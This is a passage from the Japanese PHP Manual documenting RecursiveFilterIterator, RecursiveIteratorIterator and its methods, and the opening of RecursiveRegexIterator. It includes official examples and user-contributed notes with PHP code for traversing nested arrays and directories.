        parent::__construct($recursiveIter);
    }
    public function accept() {
        return $this->hasChildren() || strlen($this->current()) >= $this->limit;
    }
     public function getChildren() {
        return new self($this->getInnerIterator()->getChildren(), $this->limit);
    }
}
$iter = new RecursiveArrayIterator($array);
$filter   = new GreaterThanFilter($iter, 5);

foreach(new RecursiveIteratorIterator($filter) as $key => $value)
{
    echo $value . "\n";
}
?>


RecursiveIterator から RecursiveFilterIterator を作成する

  • ≪ RecursiveFilterIterator
  • RecursiveFilterIterator::getChildren ≫
  • PHP Manual
  • RecursiveFilterIterator
  • RecursiveIterator から RecursiveFilterIterator を作成する

RecursiveFilterIterator::__construct

(PHP 5 >= 5.1.0, PHP 7)

RecursiveFilterIterator::__construct — RecursiveIterator から RecursiveFilterIterator を作成する

説明

public RecursiveFilterIterator::__construct ( RecursiveIterator $iterator )

RecursiveIterator から RecursiveFilterIterator を作成します。

パラメータ

iterator

フィルタリングする RecursiveIterator。

返り値

値を返しません。

例

例1 RecursiveFilterIterator() の基本例

<?php
class TestsOnlyFilter extends RecursiveFilterIterator {
    public function accept() {
        // 現在のアイテムが再帰可能であるか、値が
        // "test" で始まる場合にのみ許可します
        return $this->hasChildren() || (strpos($this->current(), "test") !== FALSE);
    }
}

$array    = array("test1", array("taste2", "test3", "test4"), "test5");
$iterator = new RecursiveArrayIterator($array);
$filter   = new TestsOnlyFilter($iterator);

foreach(new RecursiveIteratorIterator($filter) as $key => $value)
{
    echo $value . "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

test1
test3
test4
test5

例2 RecursiveFilterIterator() の例

<?php
class StartsWithFilter extends RecursiveFilterIterator {

    protected $word;

    public function __construct(RecursiveIterator $rit, $word) {
        $this->word = $word;
        parent::__construct($rit);
    }

    public function accept() {
        return $this->hasChildren() OR strpos($this->current(), $this->word) === 0;
    }

    public function getChildren() {
        return new self($this->getInnerIterator()->getChildren(), $this->word);
    }
}

$array    = array("test1", array("taste2", "test3", "test4"), "test5");
$iterator = new RecursiveArrayIterator($array);
$filter   = new StartsWithFilter($iterator, "test");

foreach(new RecursiveIteratorIterator($filter) as $key => $value)
{
    echo $value . "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

test1
test3
test4
test5

参考

  • RecursiveFilterIterator::getChildren() - RecursiveFilterIterator に含まれる内部イテレータの子を返す
  • RecursiveFilterIterator::hasChildren() - 内部イテレータの現在の要素が子を持つかどうかを調べる
  • FilterIterator::accept() - イテレータの現在の要素がフィルタを満たすかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


RecursiveFilterIterator に含まれる内部イテレータの子を返す

  • ≪ RecursiveFilterIterator::__construct
  • RecursiveFilterIterator::hasChildren ≫
  • PHP Manual
  • RecursiveFilterIterator
  • RecursiveFilterIterator に含まれる内部イテレータの子を返す

RecursiveFilterIterator::getChildren

(PHP 5 >= 5.1.0, PHP 7)

RecursiveFilterIterator::getChildren — RecursiveFilterIterator に含まれる内部イテレータの子を返す

説明

public RecursiveFilterIterator::getChildren ( ) : RecursiveFilterIterator

RecursiveFilterIterator に含まれる内部イテレータの子を返します。

パラメータ

この関数にはパラメータはありません。

返り値

RecursiveFilterIterator に含まれる内部イテレータの子を返します。

参考

  • RecursiveFilterIterator::hasChildren() - 内部イテレータの現在の要素が子を持つかどうかを調べる
  • RecursiveIterator::getChildren() - 現在のエントリのイテレータを返す

User Contributed Notes

There are no user contributed notes for this page.


内部イテレータの現在の要素が子を持つかどうかを調べる

  • ≪ RecursiveFilterIterator::getChildren
  • RecursiveIteratorIterator ≫
  • PHP Manual
  • RecursiveFilterIterator
  • 内部イテレータの現在の要素が子を持つかどうかを調べる

RecursiveFilterIterator::hasChildren

(PHP 5 >= 5.1.0, PHP 7)

RecursiveFilterIterator::hasChildren — 内部イテレータの現在の要素が子を持つかどうかを調べる

説明

public RecursiveFilterIterator::hasChildren ( ) : bool

内部イテレータの現在の要素が子を持つかどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

内部イテレータが子を持つ場合に true、それ以外の場合に false を返します。

参考

  • RecursiveFilterIterator::getChildren() - RecursiveFilterIterator に含まれる内部イテレータの子を返す
  • RecursiveIterator::hasChildren() - 現在のエントリのイテレータを作れるかどうかを返す

User Contributed Notes

There are no user contributed notes for this page.


RecursiveIteratorIterator クラス

(PHP 5, PHP 7)

はじめに

再帰的なイテレータの反復処理に使用します。

クラス概要

RecursiveIteratorIterator implements OuterIterator {
/* 定数 */
const int LEAVES_ONLY = 0 ;
const int SELF_FIRST = 1 ;
const int CHILD_FIRST = 2 ;
const int CATCH_GET_CHILD = 16 ;
/* メソッド */
public beginChildren ( ) : void
public beginIteration ( ) : void
public callGetChildren ( ) : RecursiveIterator
public callHasChildren ( ) : bool
public __construct ( Traversable $iterator , int $mode = RecursiveIteratorIterator::LEAVES_ONLY , int $flags = 0 )
public current ( ) : mixed
public endChildren ( ) : void
public endIteration ( ) : void
public getDepth ( ) : int
public getInnerIterator ( ) : iterator
public getMaxDepth ( ) : mixed
public getSubIterator ( int $level = ? ) : RecursiveIterator
public key ( ) : mixed
public next ( ) : void
public nextElement ( ) : void
public rewind ( ) : void
public setMaxDepth ( int $max_depth = -1 ) : void
public valid ( ) : bool
/* 継承したメソッド */
public OuterIterator::getInnerIterator ( ) : Iterator
}

定義済み定数

RecursiveIteratorIterator::LEAVES_ONLY

RecursiveIteratorIterator::SELF_FIRST

RecursiveIteratorIterator::CHILD_FIRST

RecursiveIteratorIterator::CATCH_GET_CHILD

目次

  • RecursiveIteratorIterator::beginChildren — 子を開始する
  • RecursiveIteratorIterator::beginIteration — 反復処理を開始する
  • RecursiveIteratorIterator::callGetChildren — 子を取得する
  • RecursiveIteratorIterator::callHasChildren — 子を持つかどうかを調べる
  • RecursiveIteratorIterator::__construct — RecursiveIteratorIterator を作成する
  • RecursiveIteratorIterator::current — 現在の要素の値にアクセスする
  • RecursiveIteratorIterator::endChildren — 子を終了する
  • RecursiveIteratorIterator::endIteration — 反復処理を終了する
  • RecursiveIteratorIterator::getDepth — 再帰的なイテレーションにおける現在の深さを取得する
  • RecursiveIteratorIterator::getInnerIterator — 内部イテレータを取得する
  • RecursiveIteratorIterator::getMaxDepth — 最大の深さを取得する
  • RecursiveIteratorIterator::getSubIterator — 現在の有効なサブイテレータを取得する
  • RecursiveIteratorIterator::key — 現在のキーにアクセスする
  • RecursiveIteratorIterator::next — 次の要素に移動する
  • RecursiveIteratorIterator::nextElement — 次の要素
  • RecursiveIteratorIterator::rewind — トップレベルの内部イテレータの先頭要素にイテレータを巻き戻す
  • RecursiveIteratorIterator::setMaxDepth — 最大の深さを設定する
  • RecursiveIteratorIterator::valid — 現在の位置が有効かどうかをチェックする

User Contributed Notes

Anonymous 08-Nov-2016 10:15
A very useful use case for RecusiveIteratorIterator in combination with RecursiveArrayIterator is to replace array values on a multidimensional array at any level deep.

Usually, array_walk_recursive would be used to replace values deep within arrays, but unfortunately this only works when there is a standard key value pair - in other words, array_walk_recursive ONLY VISITS LEAF NODES, NOT arrays.

So to get around this, the iterators can be used in this way:

<?php
$array = [
    'test' => 'value',
    'level_one' => [
        'level_two' => [
            'level_three' => [
                'replace_this_array' => [
                    'special_key' => 'replacement_value',
                    'key_one' => 'testing',
                    'key_two' => 'value',
                    'four' => 'another value'
                ]
            ],
            'ordinary_key' => 'value'
        ]
    ]
];

$arrayIterator = new \RecursiveArrayIterator($array);
$recursiveIterator = new \RecursiveIteratorIterator($arrayIterator, \RecursiveIteratorIterator::SELF_FIRST);

foreach ($recursiveIterator as $key => $value) {
    if (is_array($value) && array_key_exists('special_key', $value)) {
        // Here we replace ALL keys with the same value from 'special_key'
        $replaced = array_fill(0, count($value), $value['special_key']);
        $value = array_combine(array_keys($value), $replaced);
        // set a new key
        $value['new_key'] = 'new value';

        // Get the current depth and traverse back up the tree, saving the modifications
        $currentDepth = $recursiveIterator->getDepth();
        for ($subDepth = $currentDepth; $subDepth >= 0; $subDepth--) {
            // Get the current level iterator
            $subIterator = $recursiveIterator->getSubIterator($subDepth);
            // If we are on the level we want to change, use the replacements ($value) other wise set the key to the parent iterators value
            $subIterator->offsetSet($subIterator->key(), ($subDepth === $currentDepth ? $value : $recursiveIterator->getSubIterator(($subDepth+1))->getArrayCopy()));
       }
    }
}
return $recursiveIterator->getArrayCopy();
// return:
$array = [
    'test' => 'value',
    'level_one' => [
        'level_two' => [
            'level_three' => [
                'replace_this_array' => [
                    'special_key' => 'replacement_value',
                    'key_one' => 'replacement_value',
                    'key_two' => 'replacement_value',
                    'four' => 'replacement_value',
                    'new_key' => 'new value'
                ]
            ],
            'ordinary_key' => 'value'
        ]
    ]
];
?>

The key is in traversing back up the tree to save the changes at that level - simply calling $recursiveIterator->offsetSet(); will only set a key on the root array.
gerry at king-foo dot be 11-Jun-2014 12:44
Carefull when using iterator_to_array(). Because it flattens down your subiterators, elements with the same keys will overwrite eachother.

For example:

<?php

$iterator = new RecursiveIteratorIterator(
    new RecursiveArrayIterator([
        ['foo', 'bar'],
        ['baz', 'qux']
    ])
);

foreach ($iterator as $element) {
    echo $element;
}

?>

This will output all 4 elements as expected:

string(3) "foo"
string(3) "bar"
string(3) "baz"
string(3) "qux"

While doing:

<?php

var_dump(iterator_to_array($iterator));

?>

will output an array with only the last 2 elements:

array(2) {
  [0]=>
  string(3) "baz"
  [1]=>
  string(3) "qux"
}
fengdingbo at gmail dot com 21-Aug-2013 02:18
if you want traversal directory。
<?php
foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator("./")) as $key=>$val)
{
    echo $key,"=>",$val,"\n";
}
?>
Adil Baig @ AIdezigns 23-Jun-2011 11:17
A very important thing to note about \RecursiveIteratorIterator is that it returns a flattened array when used with the iterator_to_array function. Ex:

<?php
$arr = array('Zero', 'name'=>'Adil', 'address' => array( 'city'=>'Dubai', 'tel' => array('int' => 971, 'tel'=>12345487)), '' => 'nothing');

$iterator = new \RecursiveIteratorIterator(new \RecursiveArrayIterator($arr));
var_dump(iterator_to_array($iterator,true));
?>

This code will return :

array(6) {
  [0]=>
  string(4) "Zero"
  ["name"]=>
  string(4) "Adil"
  ["city"]=>
  string(5) "Dubai"
  ["int"]=>
  int(91)
  ["tel"]=>
  int(12345487)
  [""]=>
  string(7) "nothing"
}

To get the non-flattened proper array use the getArrayCopy() method, like so :

$iterator->getArrayCopy()

This will return

array(4) {
  [0]=>
  string(4) "Zero"
  ["name"]=>
  string(4) "Adil"
  ["address"]=>
  array(2) {
    ["city"]=>
    string(5) "Dubai"
    ["tel"]=>
    array(2) {
      ["int"]=>
      int(91)
      ["tel"]=>
      int(12345487)
    }
  }
  [""]=>
  string(7) "nothing"
}
Tom 06-Jan-2011 01:35
This class operates on a tree of elements, which is build by nesting recursive iterators into one another.

Thus you might say it is an iterator over iterators. While traversing those, the class pushes the iterators on a stack while traversing down to a leaf and removes them from the stack while going back up.
aidan at php dot net 29-Apr-2010 09:57
This example demonstrates using the getDepth() method with a RecursiveArrayIterator.

<?php
$tree = array();
$tree[1][2][3] = 'lemon';
$tree[1][4] = 'melon';
$tree[2][3] = 'orange';
$tree[2][5] = 'grape';
$tree[3] = 'pineapple';

print_r($tree);

$arrayiter = new RecursiveArrayIterator($tree);
$iteriter = new RecursiveIteratorIterator($arrayiter);

foreach ($iteriter as $key => $value) {
  $d = $iteriter->getDepth();
  echo "depth=$d k=$key v=$value\n";
}
?>

The output of this would be:

Array
(
    [1] => Array
        (
            [2] => Array
                (
                    [3] => lemon
                )

            [4] => melon
        )

    [2] => Array
        (
            [3] => orange
            [5] => grape
        )

    [3] => pineapple
)

depth=2 k=3 v=lemon
depth=1 k=4 v=melon
depth=1 k=3 v=orange
depth=1 k=5 v=grape
depth=0 k=3 v=pineapple
Michiel Brandenburg 14-Jun-2009 04:40
You can use this to quickly find all the files (recursively) in a certain directory. This beats maintaining a stack yourself.
<?php
$directory = "/tmp/";
$fileSPLObjects =  new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($directory),
                RecursiveIteratorIterator::CHILD_FIRST
            );
try {
    foreach( $fileSPLObjects as $fullFileName => $fileSPLObject ) {
        print $fullFileName . " " . $fileSPLObject->getFilename() . "\n";
    }
}
catch (UnexpectedValueException $e) {
    printf("Directory [%s] contained a directory we can not recurse into", $directory);
}
?>
Note: if there is a directory contained within the directory you are searching in that you have no access to read an UnexpectedValueException will be thrown (leaving you with an empty list).
Note: objects returned are SPLFileObjects


子を開始する

  • ≪ RecursiveIteratorIterator
  • RecursiveIteratorIterator::beginIteration ≫
  • PHP Manual
  • RecursiveIteratorIterator
  • 子を開始する

RecursiveIteratorIterator::beginChildren

(PHP 5 >= 5.1.0, PHP 7)

RecursiveIteratorIterator::beginChildren — 子を開始する

説明

public RecursiveIteratorIterator::beginChildren ( ) : void

RecursiveIteratorIterator::getChildren() と、それに関連する RecursiveIteratorIterator::rewind() をコールした後でコールされます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


反復処理を開始する

  • ≪ RecursiveIteratorIterator::beginChildren
  • RecursiveIteratorIterator::callGetChildren ≫
  • PHP Manual
  • RecursiveIteratorIterator
  • 反復処理を開始する

RecursiveIteratorIterator::beginIteration

(PHP 5 >= 5.1.0, PHP 7)

RecursiveIteratorIterator::beginIteration — 反復処理を開始する

説明

public RecursiveIteratorIterator::beginIteration ( ) : void

反復処理が始まるとき (最初に RecursiveIteratorIterator::rewind() がコールされた後) にコールされます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


子を取得する

  • ≪ RecursiveIteratorIterator::beginIteration
  • RecursiveIteratorIterator::callHasChildren ≫
  • PHP Manual
  • RecursiveIteratorIterator
  • 子を取得する

RecursiveIteratorIterator::callGetChildren

(PHP 5 >= 5.1.0, PHP 7)

RecursiveIteratorIterator::callGetChildren — 子を取得する

説明

public RecursiveIteratorIterator::callGetChildren ( ) : RecursiveIterator

現在の要素の子を取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

RecursiveIterator() を返します。

User Contributed Notes

There are no user contributed notes for this page.


子を持つかどうかを調べる

  • ≪ RecursiveIteratorIterator::callGetChildren
  • RecursiveIteratorIterator::__construct ≫
  • PHP Manual
  • RecursiveIteratorIterator
  • 子を持つかどうかを調べる

RecursiveIteratorIterator::callHasChildren

(PHP 5 >= 5.1.0, PHP 7)

RecursiveIteratorIterator::callHasChildren — 子を持つかどうかを調べる

説明

public RecursiveIteratorIterator::callHasChildren ( ) : bool

各要素に対して、子を持っているかどうかを調べるためにコールします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

要素に子がある場合に true、それ以外の場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


RecursiveIteratorIterator を作成する

  • ≪ RecursiveIteratorIterator::callHasChildren
  • RecursiveIteratorIterator::current ≫
  • PHP Manual
  • RecursiveIteratorIterator
  • RecursiveIteratorIterator を作成する

RecursiveIteratorIterator::__construct

(PHP 5 >= 5.1.3, PHP 7)

RecursiveIteratorIterator::__construct — RecursiveIteratorIterator を作成する

説明

public RecursiveIteratorIterator::__construct ( Traversable $iterator , int $mode = RecursiveIteratorIterator::LEAVES_ONLY , int $flags = 0 )

RecursiveIterator から RecursiveIteratorIterator を作成します。

パラメータ

iterator

作成する元となるイテレータ。 RecursiveIterator あるいは IteratorAggregate。

mode

オプションのモード。これらの値が指定できます。

  • RecursiveIteratorIterator::LEAVES_ONLY - デフォルト。イテレーションで葉ノードだけを取り上げます。
  • RecursiveIteratorIterator::SELF_FIRST - イテレーションで葉と親を (親から先に) 取り上げます。
  • RecursiveIteratorIterator::CHILD_FIRST - イテレーションで葉と親を (葉から先に) 取り上げます。

flags

オプションのフラグ。指定できる値は RecursiveIteratorIterator::CATCH_GET_CHILD で、RecursiveIteratorIterator::getChildren() のコール時にスローされた例外を無視します。

返り値

値を返しません。

例

例1 RecursiveIteratorIterator の反復処理

<?php
$array = array(
    array(
        array(
            array(
                'leaf-0-0-0-0',
                'leaf-0-0-0-1'
            ),
            'leaf-0-0-0'
        ),
        array(
            array(
                'leaf-0-1-0-0',
                'leaf-0-1-0-1'
            ),
            'leaf-0-1-0'
        ),
        'leaf-0-0'
    )
);

$iterator = new RecursiveIteratorIterator(
    new RecursiveArrayIterator($array),
    $mode
);
foreach ($iterator as $key => $leaf) {
    echo "$key => $leaf", PHP_EOL;
}
?>

$mode = RecursiveIteratorIterator::LEAVES_ONLY の場合の出力

0 => leaf-0-0-0-0
1 => leaf-0-0-0-1
0 => leaf-0-0-0
0 => leaf-0-1-0-0
1 => leaf-0-1-0-1
0 => leaf-0-1-0
0 => leaf-0-0

$mode = RecursiveIteratorIterator::SELF_FIRST の場合の出力

0 => Array
0 => Array
0 => Array
0 => leaf-0-0-0-0
1 => leaf-0-0-0-1
1 => leaf-0-0-0
1 => Array
0 => Array
0 => leaf-0-1-0-0
1 => leaf-0-1-0-1
1 => leaf-0-1-0
2 => leaf-0-0

$mode = RecursiveIteratorIterator::CHILD_FIRST の場合の出力

0 => leaf-0-0-0-0
1 => leaf-0-0-0-1
0 => Array
1 => leaf-0-0-0
0 => Array
0 => leaf-0-1-0-0
1 => leaf-0-1-0-1
0 => Array
1 => leaf-0-1-0
1 => Array
2 => leaf-0-0
0 => Array

User Contributed Notes

Tom 06-Jan-2011 01:13
Note: the missing documentation of the argument list for this constructor is currently as follows (according to source code).

Param iter: see RecursiveIterator

Param mode:
- LEAVES_ONLY = (default) only iterate leaves
- SELF_FIRST = iterate parents prior to children
- CHILD_FIRST = iterate children prior to parents

Param flags:
- CATCH_GET_CHILD = ignore exceptions in getChildren() call
Matt Creenan 05-Mar-2010 09:39
Note that LEAVES_ONLY, SELF_FIRST and CHILD_FIRST do not work by themselves.

They are class constants so you need to use RecursiveIteratorIterator::LEAVES_ONLY, etc.


現在の要素の値にアクセスする

  • ≪ RecursiveIteratorIterator::__construct
  • RecursiveIteratorIterator::endChildren ≫
  • PHP Manual
  • RecursiveIteratorIterator
  • 現在の要素の値にアクセスする

RecursiveIteratorIterator::current

(PHP 5, PHP 7)

RecursiveIteratorIterator::current — 現在の要素の値にアクセスする

説明

public RecursiveIteratorIterator::current ( ) : mixed
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

現在の要素の値を返します。

User Contributed Notes

There are no user contributed notes for this page.


子を終了する

  • ≪ RecursiveIteratorIterator::current
  • RecursiveIteratorIterator::endIteration ≫
  • PHP Manual
  • RecursiveIteratorIterator
  • 子を終了する

RecursiveIteratorIterator::endChildren

(PHP 5 >= 5.1.0, PHP 7)

RecursiveIteratorIterator::endChildren — 子を終了する

説明

public RecursiveIteratorIterator::endChildren ( ) : void

そのレベルの再帰処理が終了したときにコールされます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

Tom 06-Jan-2011 01:20
According to the source code documentation, this function is not implemented.

It is used as a hook. You need to overwrite it in your derived class. Don't call it yourself, it is called automatically.

Documentation: Template method provided for overriding classes, called after an iteterator has been used up.
(Default implementation does nothing.)


反復処理を終了する

  • ≪ RecursiveIteratorIterator::endChildren
  • RecursiveIteratorIterator::getDepth ≫
  • PHP Manual
  • RecursiveIteratorIterator
  • 反復処理を終了する

RecursiveIteratorIterator::endIteration

(PHP 5 >= 5.1.0, PHP 7)

RecursiveIteratorIterator::endIteration — 反復処理を終了する

説明

public RecursiveIteratorIterator::endIteration ( ) : void

反復処理が終了したとき (RecursiveIteratorIterator::valid() が最初に false を返したとき) にコールされます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

Tom 06-Jan-2011 01:23
Some source code documentation that I found on this function currently says: Template method provided for overriding classes, default implementation does nothing.


再帰的なイテレーションにおける現在の深さを取得する

  • ≪ RecursiveIteratorIterator::endIteration
  • RecursiveIteratorIterator::getInnerIterator ≫
  • PHP Manual
  • RecursiveIteratorIterator
  • 再帰的なイテレーションにおける現在の深さを取得する

RecursiveIteratorIterator::getDepth

(PHP 5, PHP 7)

RecursiveIteratorIterator::getDepth — 再帰的なイテレーションにおける現在の深さを取得する

説明

public RecursiveIteratorIterator::getDepth ( ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

再帰的なイテレーションにおける現在の深さを返します。

User Contributed Notes

spicypixel at gmail dot com 08-May-2018 08:58
Example to only return directories that are a specified depth in a tree:

<?php
function directory_mapper($path)
{
    $maxDepth = 3;
    $minDepth = 3;
    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::SELF_FIRST,
        RecursiveIteratorIterator::CATCH_GET_CHILD// Ignore "Permission denied"
    );
    $iterator->setMaxDepth($maxDepth);

    $paths = array($path);
    foreach ($iterator as $path => $dir) {
        if ($iterator->getDepth() >= $minDepth) {
            if ($dir->isDir()) {
                $paths[] = $path;
            }
        }

    }
    array_shift($paths);
    return $paths;
}
?>


内部イテレータを取得する

  • ≪ RecursiveIteratorIterator::getDepth
  • RecursiveIteratorIterator::getMaxDepth ≫
  • PHP Manual
  • RecursiveIteratorIterator
  • 内部イテレータを取得する

RecursiveIteratorIterator::getInnerIterator

(PHP 5 >= 5.1.0, PHP 7)

RecursiveIteratorIterator::getInnerIterator — 内部イテレータを取得する

説明

public RecursiveIteratorIterator::getInnerIterator ( ) : iterator

現在アクティブなサブイテレータを取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

現在アクティブなサブイテレータを返します。

User Contributed Notes

There are no user contributed notes for this page.


最大の深さを取得する

  • ≪ RecursiveIteratorIterator::getInnerIterator
  • RecursiveIteratorIterator::getSubIterator ≫
  • PHP Manual
  • RecursiveIteratorIterator
  • 最大の深さを取得する

RecursiveIteratorIterator::getMaxDepth

(PHP 5 >= 5.1.0, PHP 7)

RecursiveIteratorIterator::getMaxDepth — 最大の深さを取得する

説明

public RecursiveIteratorIterator::getMaxDepth ( ) : mixed

許可される最大の深さを取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

許可される最大の深さ、あるいは無制限の場合に false を返します。

参考

  • RecursiveIteratorIterator::setMaxDepth() - 最大の深さを設定する

User Contributed Notes

There are no user contributed notes for this page.


現在の有効なサブイテレータを取得する

  • ≪ RecursiveIteratorIterator::getMaxDepth
  • RecursiveIteratorIterator::key ≫
  • PHP Manual
  • RecursiveIteratorIterator
  • 現在の有効なサブイテレータを取得する

RecursiveIteratorIterator::getSubIterator

(PHP 5, PHP 7)

RecursiveIteratorIterator::getSubIterator — 現在の有効なサブイテレータを取得する

説明

public RecursiveIteratorIterator::getSubIterator ( int $level = ? ) : RecursiveIterator
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

level

返り値

現在の有効なサブイテレータを返します。

User Contributed Notes

lovePhp 08-Dec-2018 10:52
Please document this method. I have found a use for it and would love to better understand how it works. TY : )


現在のキーにアクセスする

  • ≪ RecursiveIteratorIterator::getSubIterator
  • RecursiveIteratorIterator::next ≫
  • PHP Manual
  • RecursiveIteratorIterator
  • 現在のキーにアクセスする

RecursiveIteratorIterator::key

(PHP 5, PHP 7)

RecursiveIteratorIterator::key — 現在のキーにアクセスする

説明

public RecursiveIteratorIterator::key ( ) : mixed
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

現在のキーを返します。

User Contributed Notes

There are no user contributed notes for this page.


次の要素に移動する

  • ≪ RecursiveIteratorIterator::key
  • RecursiveIteratorIterator::nextElement ≫
  • PHP Manual
  • RecursiveIteratorIterator
  • 次の要素に移動する

RecursiveIteratorIterator::next

(PHP 5, PHP 7)

RecursiveIteratorIterator::next — 次の要素に移動する

説明

public RecursiveIteratorIterator::next ( ) : void
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


次の要素

  • ≪ RecursiveIteratorIterator::next
  • RecursiveIteratorIterator::rewind ≫
  • PHP Manual
  • RecursiveIteratorIterator
  • 次の要素

RecursiveIteratorIterator::nextElement

(PHP 5 >= 5.1.0, PHP 7)

RecursiveIteratorIterator::nextElement — 次の要素

説明

public RecursiveIteratorIterator::nextElement ( ) : void

次の要素が利用可能となったときにコールされます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


トップレベルの内部イテレータの先頭要素にイテレータを巻き戻す

  • ≪ RecursiveIteratorIterator::nextElement
  • RecursiveIteratorIterator::setMaxDepth ≫
  • PHP Manual
  • RecursiveIteratorIterator
  • トップレベルの内部イテレータの先頭要素にイテレータを巻き戻す

RecursiveIteratorIterator::rewind

(PHP 5, PHP 7)

RecursiveIteratorIterator::rewind — トップレベルの内部イテレータの先頭要素にイテレータを巻き戻す

説明

public RecursiveIteratorIterator::rewind ( ) : void
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


最大の深さを設定する

  • ≪ RecursiveIteratorIterator::rewind
  • RecursiveIteratorIterator::valid ≫
  • PHP Manual
  • RecursiveIteratorIterator
  • 最大の深さを設定する

RecursiveIteratorIterator::setMaxDepth

(PHP 5 >= 5.1.0, PHP 7)

RecursiveIteratorIterator::setMaxDepth — 最大の深さを設定する

説明

public RecursiveIteratorIterator::setMaxDepth ( int $max_depth = -1 ) : void

許可される最大の深さを設定します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

max_depth

許可される最大の深さ。-1 を指定すると無制限にできます。

返り値

値を返しません。

エラー / 例外

max_depth が -1 より小さい場合に例外が発生します。

User Contributed Notes

Anonymous 15-Feb-2020 12:53
to only access the current folder:
$max_depth = 0;
Anonymous 05-Feb-2020 07:56
I didn't understand what to do with this statement:

RecursiveIteratorIterator::setMaxDepth ([ int $max_depth = -1 ] ) : void

So, after finding the answer, this is how you incorporate it (for anyone else who was stuck for a while like me!):

// define the depth of the tree to which you want to search
// where -1 = show all layers below the parent
// and 1 = show the first layer, etc, etc
$max_depth = -1;

// set the path to the directory
$this_directory

// do the search
$recursive = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($this_directory));

// now adjust the contents to your desired depth
$recursive->setMaxDepth($max_depth);


現在の位置が有効かどうかをチェックする

  • ≪ RecursiveIteratorIterator::setMaxDepth
  • RecursiveRegexIterator ≫
  • PHP Manual
  • RecursiveIteratorIterator
  • 現在の位置が有効かどうかをチェックする

RecursiveIteratorIterator::valid

(PHP 5, PHP 7)

RecursiveIteratorIterator::valid — 現在の位置が有効かどうかをチェックする

説明

public RecursiveIteratorIterator::valid ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

現在の位置が有効な場合に true、そうでない場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


RecursiveRegexIterator クラス

(PHP 5 >= 5.2.0, PHP 7)

はじめに

この再帰イテレータは、別の再帰イテレータを正規表現でフィルタリングすることができます。

クラス概要

RecursiveRegexIterator extends RegexIterator implements RecursiveIterator {
/* 継承した定数 */
const int MATCH = 0 ;
const int GET_MATCH = 1 ;
const int ALL_MATCHES = 2 ;
const int SPLIT = 3 ;
const int REPLACE = 4 ;
const int USE_KEY = 1 ;
/* メソッド */
public __construct ( RecursiveIterator $iterator , string $regex , int $mode = self::MATCH , int $flags = 0 , int $preg_flags = 0 )
public getChildren ( ) : RecursiveRegexIterator
public hasChildren ( ) : bool
/* 継承したメソッド */
public RecursiveIterator::getChildren ( ) : RecursiveIterator
public RecursiveIterator::hasChildren ( ) : bool
public RegexIterator::accept ( ) : bool
public RegexIterator::getFlags ( ) : int
public RegexIterator::getMode ( ) : int
public RegexIterator::getPregFlags ( ) : int
public RegexIterator::getRegex ( ) : string
public RegexIterator::setFlags ( int $flags ) : void
public RegexIterator::setMode ( int $mode ) : void
public RegexIterator::setPregFlags ( int $preg_flags ) : void
}

目次

  • RecursiveRegexIterator::__construct — 新しい RecursiveRegexIterator を作成する
  • RecursiveRegexIterator::getChildren — 現在のエントリのイテレータを返す
  • RecursiveRegexIterator::hasChildren — 現在のエントリのイテレータが取得可能かどうかを返す

User Contributed Notes

There are no user contributed notes for this page.


新しい RecursiveRegexIterator を作成する

  • ≪ RecursiveRegexIterator
  • RecursiveRegexIterator::getChildren ≫
  • PHP Manual
  • RecursiveRegexIterator
  • 新しい RecursiveRegexIterator を作成する

RecursiveRegexIterator::__construct

(PHP 5 >= 5.2.0, PHP 7)

RecursiveRegexIterator::__construct — 新しい RecursiveRegexIterator を作成する

説明

public RecursiveRegexIterator::__construct ( RecursiveIterator $iterator , string $regex , int $mode = self::MATCH , int $flags = 0 , int $preg_flags = 0 )

